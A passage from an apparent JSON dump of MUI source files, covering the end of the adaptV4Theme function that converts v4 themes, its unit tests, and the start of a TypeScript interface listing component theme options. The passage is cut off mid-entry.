styleOverrides[component];\n    theme.components[component] = componentValue;\n  });\n\n  Object.keys(overrides).forEach((component) => {\n    const componentValue = theme.components[component] || {};\n    componentValue.styleOverrides = overrides[component];\n    theme.components[component] = componentValue;\n  });\n\n  // theme.spacing\n  theme.spacing = createSpacing(inputTheme.spacing);\n\n  // theme.mixins.gutters\n  const breakpoints = createBreakpoints(inputTheme.breakpoints || {});\n  const spacing = theme.spacing;\n\n  theme.mixins = {\n    gutters: (styles = {}) => {\n      return {\n        paddingLeft: spacing(2),\n        paddingRight: spacing(2),\n        ...styles,\n        [breakpoints.up('sm')]: {\n          paddingLeft: spacing(3),\n          paddingRight: spacing(3),\n          ...styles[breakpoints.up('sm')],\n        },\n      };\n    },\n    ...mixins,\n  };\n\n  const { type: typeInput, mode: modeInput, ...paletteRest } = palette;\n\n  const finalMode = modeInput || typeInput || 'light';\n\n  theme.palette = {\n    // theme.palette.text.hint\n    text: {\n      hint: finalMode === 'dark' ? 'rgba(255, 255, 255, 0.5)' : 'rgba(0, 0, 0, 0.38)',\n    },\n    mode: finalMode,\n    type: finalMode,\n    ...paletteRest,\n  };\n\n  return theme;\n}\n"
  },
  {
    "path": "packages/mui-material/src/styles/adaptV4Theme.test.js",
    "content": "import { expect } from 'chai';\nimport defaultTheme from '@mui/material/styles/defaultTheme';\nimport adaptV4Theme from './adaptV4Theme';\n\ndescribe('adaptV4Theme', () => {\n  describe('theme.components', () => {\n    it(\"moves props to components' defaultProps\", () => {\n      const theme = {\n        props: {\n          MuiButton: {\n            disabled: true,\n          },\n        },\n      };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.components.MuiButton.defaultProps).to.deep.equal(\n        theme.props.MuiButton,\n      );\n    });\n\n    it(\"moves overrides to components' styleOverrides\", () => {\n      const theme = {\n        overrides: {\n          MuiTable: {\n            root: {\n              background: 'red',\n            },\n          },\n        },\n      };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.components.MuiTable.styleOverrides).to.deep.equal(\n        theme.overrides.MuiTable,\n      );\n    });\n\n    it('moves props, and overrides to components', () => {\n      const theme = {\n        props: {\n          MuiButton: {\n            disabled: true,\n          },\n        },\n        overrides: {\n          MuiTable: {\n            root: {\n              background: 'red',\n            },\n          },\n        },\n      };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.components.MuiButton.defaultProps).to.deep.equal(\n        theme.props.MuiButton,\n      );\n      expect(transformedTheme.components.MuiTable.styleOverrides).to.deep.equal(\n        theme.overrides.MuiTable,\n      );\n    });\n\n    it('merges props and overrides to components', () => {\n      const theme = {\n        props: {\n          MuiButton: {\n            disabled: true,\n          },\n        },\n        overrides: {\n          MuiButton: {\n            root: {\n              background: 'red',\n            },\n          },\n        },\n      };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.components.MuiButton.defaultProps).to.deep.equal(\n        theme.props.MuiButton,\n      );\n      expect(transformedTheme.components.MuiButton.styleOverrides).to.deep.equal(\n        theme.overrides.MuiButton,\n      );\n    });\n\n    it('merges props and overrides from different components in appropriate key', () => {\n      const theme = {\n        props: {\n          MuiButton: {\n            disabled: true,\n          },\n          MuiFab: {\n            color: 'primary',\n          },\n        },\n        overrides: {\n          MuiButton: {\n            root: {\n              background: 'red',\n            },\n          },\n          MuiFab: {\n            root: {\n              color: 'red',\n            },\n          },\n        },\n      };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.components.MuiButton.defaultProps).to.deep.equal(\n        theme.props.MuiButton,\n      );\n      expect(transformedTheme.components.MuiButton.styleOverrides).to.deep.equal(\n        theme.overrides.MuiButton,\n      );\n\n      expect(transformedTheme.components.MuiFab.defaultProps).to.deep.equal(theme.props.MuiFab);\n      expect(transformedTheme.components.MuiFab.styleOverrides).to.deep.equal(\n        theme.overrides.MuiFab,\n      );\n    });\n\n    it('merges partially migrated props and overrides from different components in appropriate key', () => {\n      const theme = {\n        defaultProps: {\n          MuiButton: {\n            disabled: true,\n          },\n          MuiFab: {\n            color: 'primary',\n          },\n        },\n        styleOverrides: {\n          MuiButton: {\n            root: {\n              background: 'red',\n            },\n          },\n          MuiFab: {\n            root: {\n              color: 'red',\n            },\n          },\n        },\n      };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.components.MuiButton.defaultProps).to.deep.equal(\n        theme.defaultProps.MuiButton,\n      );\n      expect(transformedTheme.components.MuiButton.styleOverrides).to.deep.equal(\n        theme.styleOverrides.MuiButton,\n      );\n\n      expect(transformedTheme.components.MuiFab.defaultProps).to.deep.equal(\n        theme.defaultProps.MuiFab,\n      );\n      expect(transformedTheme.components.MuiFab.styleOverrides).to.deep.equal(\n        theme.styleOverrides.MuiFab,\n      );\n    });\n  });\n\n  describe('theme.mixins.gutters()', () => {\n    it('is added to the theme', () => {\n      const defaultSpacing = 8;\n      const theme = {};\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.mixins.gutters()).to.deep.equal({\n        paddingLeft: `${defaultSpacing * 2}px`,\n        paddingRight: `${defaultSpacing * 2}px`,\n        [`@media (min-width:${defaultTheme.breakpoints.values.sm}px)`]: {\n          paddingLeft: `${defaultSpacing * 3}px`,\n          paddingRight: `${defaultSpacing * 3}px`,\n        },\n      });\n    });\n\n    it('respects theme spacing', () => {\n      const spacing = 100;\n      const theme = { spacing };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.mixins.gutters()).to.deep.equal({\n        paddingLeft: `${spacing * 2}px`,\n        paddingRight: `${spacing * 2}px`,\n        [`@media (min-width:${defaultTheme.breakpoints.values.sm}px)`]: {\n          paddingLeft: `${spacing * 3}px`,\n          paddingRight: `${spacing * 3}px`,\n        },\n      });\n    });\n\n    it('does not remove the mixins defined in the input theme', () => {\n      const defaultSpacing = 8;\n      const theme = {\n        mixins: {\n          test: { display: 'block' },\n        },\n      };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.mixins.test).to.deep.equal({\n        display: 'block',\n      });\n\n      expect(transformedTheme.mixins.gutters()).to.deep.equal({\n        paddingLeft: `${defaultSpacing * 2}px`,\n        paddingRight: `${defaultSpacing * 2}px`,\n        [`@media (min-width:${defaultTheme.breakpoints.values.sm}px)`]: {\n          paddingLeft: `${defaultSpacing * 3}px`,\n          paddingRight: `${defaultSpacing * 3}px`,\n        },\n      });\n    });\n  });\n\n  describe('theme.palette.text.hint', () => {\n    it('is added to the theme', () => {\n      const theme = {};\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.palette.text.hint).to.equal('rgba(0, 0, 0, 0.38)');\n    });\n\n    it('is added to a dark theme using the old palette.type value', () => {\n      const theme = { palette: { type: 'dark' } };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.palette.text.hint).to.equal('rgba(255, 255, 255, 0.5)');\n    });\n\n    it('is added to a dark theme', () => {\n      const theme = { palette: { mode: 'dark' } };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.palette.text.hint).to.equal('rgba(255, 255, 255, 0.5)');\n    });\n  });\n\n  describe('theme.palette.mode', () => {\n    it('converts theme.palette.type to theme.palette.mode', () => {\n      const theme = { palette: { type: 'dark' } };\n\n      let transformedTheme;\n\n      expect(() => {\n        transformedTheme = adaptV4Theme(theme);\n      }).toWarnDev(['adaptV4Theme() is deprecated']);\n\n      expect(transformedTheme.palette.mode).to.equal('dark');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/styles/components.ts",
    "content": "import { ComponentsProps } from './props';\nimport { ComponentsOverrides } from './overrides';\nimport { ComponentsVariants } from './variants';\n\nexport interface Components<Theme = unknown> {\n  /**\n   * Whether to merge the className and style coming from the component props with the default props.\n   * @default false\n   */\n  mergeClassNameAndStyle?: boolean | undefined;\n  MuiAlert?:\n    | {\n        defaultProps?: ComponentsProps['MuiAlert'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAlert'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAlert'] | undefined;\n      }\n    | undefined;\n  MuiAlertTitle?:\n    | {\n        defaultProps?: ComponentsProps['MuiAlertTitle'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAlertTitle'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAlertTitle'] | undefined;\n      }\n    | undefined;\n  MuiAppBar?:\n    | {\n        defaultProps?: ComponentsProps['MuiAppBar'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAppBar'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAppBar'] | undefined;\n      }\n    | undefined;\n  MuiAutocomplete?:\n    | {\n        defaultProps?: ComponentsProps['MuiAutocomplete'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAutocomplete'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAutocomplete'] | undefined;\n      }\n    | undefined;\n  MuiAvatar?:\n    | {\n        defaultProps?: ComponentsProps['MuiAvatar'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAvatar'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAvatar'] | undefined;\n      }\n    | undefined;\n  MuiAvatarGroup?:\n    | {\n        defaultProps?: ComponentsProps['MuiAvatarGroup'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAvatarGroup'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAvatarGroup'] | undefined;\n      }\n    | undefined;\n  MuiBackdrop?:\n    | {\n        defaultProps?: ComponentsProps['MuiBackdrop'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiBackdrop'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiBackdrop'] | undefined;\n      }\n    | undefined;\n  MuiBadge?:\n    | {\n        defaultProps?: ComponentsProps['MuiBadge'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiBadge'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiBadge'] | undefined;\n      }\n    | undefined;\n  MuiBottomNavigation?:\n    | {\n        defaultProps?: ComponentsProps['MuiBottomNavigation'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiBottomNavigation'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiBottomNavigation'] | undefined;\n      }\n    | undefined;\n  MuiBottomNavigationAction?:\n    | {\n        defaultProps?: ComponentsProps['MuiBottomNavigationAction'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiBottomNavigationAction'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiBottomNavigationAction'] | undefined;\n      }\n    | undefined;\n  MuiBreadcrumbs?:\n    | {\n        defaultProps?: ComponentsProps['MuiBreadcrumbs'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiBreadcrumbs'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiBreadcrumbs'] | undefined;\n      }\n    | undefined;\n  MuiButton?:\n    | {\n        defaultProps?: ComponentsProps['MuiButton'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiButton'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiButton'] | undefined;\n      }\n    | undefined;\n  MuiButtonBase?:\n    | {\n        defaultProps?: ComponentsProps['MuiButtonBase'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiButtonBase'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiButtonBase'] | undefined;\n      }\n    | undefined;\n  MuiButtonGroup?:\n    | {\n        defaultProps?: ComponentsProps['MuiButtonGroup'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiButtonGroup'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiButtonGroup'] | undefined;\n      }\n    | undefined;\n  MuiCard?:\n    | {\n        defaultProps?: ComponentsProps['MuiCard'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCard'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCard'] | undefined;\n      }\n    | undefined;\n  MuiCardActionArea?:\n    | {\n        defaultProps?: ComponentsProps['MuiCardActionArea'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCardActionArea'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCardActionArea'] | undefined;\n      }\n    | undefined;\n  MuiCardActions?:\n    | {\n        defaultProps?: ComponentsProps['MuiCardActions'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCardActions'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCardActions'] | undefined;\n      }\n    | undefined;\n  MuiCardContent?:\n    | {\n        defaultProps?: ComponentsProps['MuiCardContent'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCardContent'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCardContent'] | undefined;\n      }\n    | undefined;\n  MuiCardHeader?:\n    | {\n        defaultProps?: ComponentsProps['MuiCardHeader'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCardHeader'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCardHeader'] | undefined;\n      }\n    | undefined;\n  MuiCardMedia?:\n    | {\n        defaultProps?: ComponentsProps['MuiCardMedia'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCardMedia'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCardMedia'] | undefined;\n      }\n    | undefined;\n  MuiCheckbox?:\n    | {\n        defaultProps?: ComponentsProps['MuiCheckbox'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCheckbox'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCheckbox'] | undefined;\n      }\n    | undefined;\n  MuiChip?:\n    | {\n        defaultProps?: ComponentsProps['MuiChip'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiChip'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiChip'] | undefined;\n      }\n    | undefined;\n  MuiCircularProgress?:\n    | {\n        defaultProps?: ComponentsProps['MuiCircularProgress'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCircularProgress'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCircularProgress'] | undefined;\n      }\n    | undefined;\n  MuiCollapse?:\n    | {\n        defaultProps?: ComponentsProps['MuiCollapse'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCollapse'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCollapse'] | undefined;\n      }\n    | undefined;\n  MuiContainer?:\n    | {\n        defaultProps?: ComponentsProps['MuiContainer'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiContainer'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiContainer'] | undefined;\n      }\n    | undefined;\n  MuiCssBaseline?:\n    | {\n        defaultProps?: ComponentsProps['MuiCssBaseline'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiCssBaseline'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiCssBaseline'] | undefined;\n      }\n    | undefined;\n  MuiDialog?:\n    | {\n        defaultProps?: ComponentsProps['MuiDialog'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiDialog'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiDialog'] | undefined;\n      }\n    | undefined;\n  MuiDialogActions?:\n    | {\n        defaultProps?: ComponentsProps['MuiDialogActions'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiDialogActions'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiDialogActions'] | undefined;\n      }\n    | undefined;\n  MuiDialogContent?:\n    | {\n        defaultProps?: ComponentsProps['MuiDialogContent'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiDialogContent'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiDialogContent'] | undefined;\n      }\n    | undefined;\n  MuiDialogContentText?:\n    | {\n        defaultProps?: ComponentsProps['MuiDialogContentText'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiDialogContentText'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiDialogContentText'] | undefined;\n      }\n    | undefined;\n  MuiDialogTitle?:\n    | {\n        defaultProps?: ComponentsProps['MuiDialogTitle'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiDialogTitle'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiDialogTitle'] | undefined;\n      }\n    | undefined;\n  MuiDivider?:\n    | {\n        defaultProps?: ComponentsProps['MuiDivider'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiDivider'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiDivider'] | undefined;\n      }\n    | undefined;\n  MuiDrawer?:\n    | {\n        defaultProps?: ComponentsProps['MuiDrawer'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiDrawer'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiDrawer'] | undefined;\n      }\n    | undefined;\n  MuiAccordion?:\n    | {\n        defaultProps?: ComponentsProps['MuiAccordion'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAccordion'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAccordion'] | undefined;\n      }\n    | undefined;\n  MuiAccordionActions?:\n    | {\n        defaultProps?: ComponentsProps['MuiAccordionActions'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAccordionActions'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAccordionActions'] | undefined;\n      }\n    | undefined;\n  MuiAccordionDetails?:\n    | {\n        defaultProps?: ComponentsProps['MuiAccordionDetails'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAccordionDetails'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAccordionDetails'] | undefined;\n      }\n    | undefined;\n  MuiAccordionSummary?:\n    | {\n        defaultProps?: ComponentsProps['MuiAccordionSummary'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiAccordionSummary'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiAccordionSummary'] | undefined;\n      }\n    | undefined;\n  MuiFab?:\n    | {\n        defaultProps?: ComponentsProps['MuiFab'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiFab'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiFab'] | undefined;\n      }\n    | undefined;\n  MuiFilledInput?:\n    | {\n        defaultProps?: ComponentsProps['MuiFilledInput'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiFilledInput'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiFilledInput'] | undefined;\n      }\n    | undefined;\n  MuiFormControl?:\n    | {\n        defaultProps?: ComponentsProps['MuiFormControl'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiFormControl'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiFormControl'] | undefined;\n      }\n    | undefined;\n  MuiFormControlLabel?:\n    | {\n        defaultProps?: ComponentsProps['MuiFormControlLabel'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiFormControlLabel'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiFormControlLabel'] | undefined;\n      }\n    | undefined;\n  MuiFormGroup?:\n    | {\n        defaultProps?: ComponentsProps['MuiFormGroup'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiFormGroup'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiFormGroup'] | undefined;\n      }\n    | undefined;\n  MuiFormHelperText?:\n    | {\n        defaultProps?: ComponentsProps['MuiFormHelperText'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiFormHelperText'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiFormHelperText'] | undefined;\n      }\n    | undefined;\n  MuiFormLabel?:\n    | {\n        defaultProps?: ComponentsProps['MuiFormLabel'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiFormLabel'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiFormLabel'] | undefined;\n      }\n    | undefined;\n  MuiGrid?:\n    | {\n        defaultProps?: ComponentsProps['MuiGrid'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiGrid'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiGrid'] | undefined;\n      }\n    | undefined;\n  MuiImageList?:\n    | {\n        defaultProps?: ComponentsProps['MuiImageList'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiImageList'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiImageList'] | undefined;\n      }\n    | undefined;\n  MuiImageListItem?:\n    | {\n        defaultProps?: ComponentsProps['MuiImageListItem'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiImageListItem'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiImageListItem'] | undefined;\n      }\n    | undefined;\n  MuiImageListItemBar?:\n    | {\n        defaultProps?: ComponentsProps['MuiImageListItemBar'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiImageListItemBar'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiImageListItemBar'] | undefined;\n      }\n    | undefined;\n  MuiIcon?:\n    | {\n        defaultProps?: ComponentsProps['MuiIcon'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiIcon'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiIcon'] | undefined;\n      }\n    | undefined;\n  MuiIconButton?:\n    | {\n        defaultProps?: ComponentsProps['MuiIconButton'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiIconButton'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiIconButton'] | undefined;\n      }\n    | undefined;\n  MuiInput?:\n    | {\n        defaultProps?: ComponentsProps['MuiInput'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiInput'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiInput'] | undefined;\n      }\n    | undefined;\n  MuiInputAdornment?:\n    | {\n        defaultProps?: ComponentsProps['MuiInputAdornment'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiInputAdornment'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiInputAdornment'] | undefined;\n      }\n    | undefined;\n  MuiInputBase?:\n    | {\n        defaultProps?: ComponentsProps['MuiInputBase'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiInputBase'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiInputBase'] | undefined;\n      }\n    | undefined;\n  MuiInputLabel?:\n    | {\n        defaultProps?: ComponentsProps['MuiInputLabel'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiInputLabel'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiInputLabel'] | undefined;\n      }\n    | undefined;\n  MuiLinearProgress?:\n    | {\n        defaultProps?: ComponentsProps['MuiLinearProgress'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiLinearProgress'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiLinearProgress'] | undefined;\n      }\n    | undefined;\n  MuiLink?:\n    | {\n        defaultProps?: ComponentsProps['MuiLink'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiLink'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiLink'] | undefined;\n      }\n    | undefined;\n  MuiList?:\n    | {\n        defaultProps?: ComponentsProps['MuiList'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiList'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiList'] | undefined;\n      }\n    | undefined;\n  MuiListItem?:\n    | {\n        defaultProps?: ComponentsProps['MuiListItem'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiListItem'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiListItem'] | undefined;\n      }\n    | undefined;\n  MuiListItemButton?:\n    | {\n        defaultProps?: ComponentsProps['MuiListItemButton'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiListItemButton'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiListItemButton'] | undefined;\n      }\n    | undefined;\n  MuiListItemAvatar?:\n    | {\n        defaultProps?: ComponentsProps['MuiListItemAvatar'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiListItemAvatar'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiListItemAvatar'] | undefined;\n      }\n    | undefined;\n  MuiListItemIcon?:\n    | {\n        defaultProps?: ComponentsProps['MuiListItemIcon'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiListItemIcon'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiListItemIcon'] | undefined;\n      }\n    | undefined;\n  MuiListItemSecondaryAction?:\n    | {\n        defaultProps?: ComponentsProps['MuiListItemSecondaryAction'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiListItemSecondaryAction'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiListItemSecondaryAction'] | undefined;\n      }\n    | undefined;\n  MuiListItemText?:\n    | {\n        defaultProps?: ComponentsProps['MuiListItemText'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiListItemText'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiListItemText'] | undefined;\n      }\n    | undefined;\n  MuiListSubheader?:\n    | {\n        defaultProps?: ComponentsProps['MuiListSubheader'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiListSubheader'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiListSubheader'] | undefined;\n      }\n    | undefined;\n  MuiMenu?:\n    | {\n        defaultProps?: ComponentsProps['MuiMenu'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiMenu'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiMenu'] | undefined;\n      }\n    | undefined;\n  MuiMenuItem?:\n    | {\n        defaultProps?: ComponentsProps['MuiMenuItem'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiMenuItem'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiMenuItem'] | undefined;\n      }\n    | undefined;\n  MuiMenuList?:\n    | {\n        defaultProps?: ComponentsProps['MuiMenuList'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiMenuList'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiMenuList'] | undefined;\n      }\n    | undefined;\n  MuiMobileStepper?:\n    | {\n        defaultProps?: ComponentsProps['MuiMobileStepper'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiMobileStepper'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiMobileStepper'] | undefined;\n      }\n    | undefined;\n  MuiModal?:\n    | {\n        defaultProps?: ComponentsProps['MuiModal'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiModal'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiModal'] | undefined;\n      }\n    | undefined;\n  MuiNativeSelect?:\n    | {\n        defaultProps?: ComponentsProps['MuiNativeSelect'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiNativeSelect'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiNativeSelect'] | undefined;\n      }\n    | undefined;\n  MuiOutlinedInput?:\n    | {\n        defaultProps?: ComponentsProps['MuiOutlinedInput'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiOutlinedInput'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiOutlinedInput'] | undefined;\n      }\n    | undefined;\n  MuiPagination?:\n    | {\n        defaultProps?: ComponentsProps['MuiPagination'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiPagination'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiPagination'] | undefined;\n      }\n    | undefined;\n  MuiPaginationItem?:\n    | {\n        defaultProps?: ComponentsProps['MuiPaginationItem'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiPaginationItem'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiPaginationItem'] | undefined;\n      }\n    | undefined;\n  MuiPaper?:\n    | {\n        defaultProps?: ComponentsProps['MuiPaper'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiPaper'] | undefined;\n        variants?: ComponentsVariants<Theme>['MuiPaper'] | undefined;\n      }\n    | undefined;\n  MuiPopper?:\n    | {\n        defaultProps?: ComponentsProps['MuiPopper'] | undefined;\n        styleOverrides?: ComponentsOverrides<Theme>['MuiPopper'] | undefined;\n      }\n    | undefined;\n  MuiPopover?:\n    | {\n        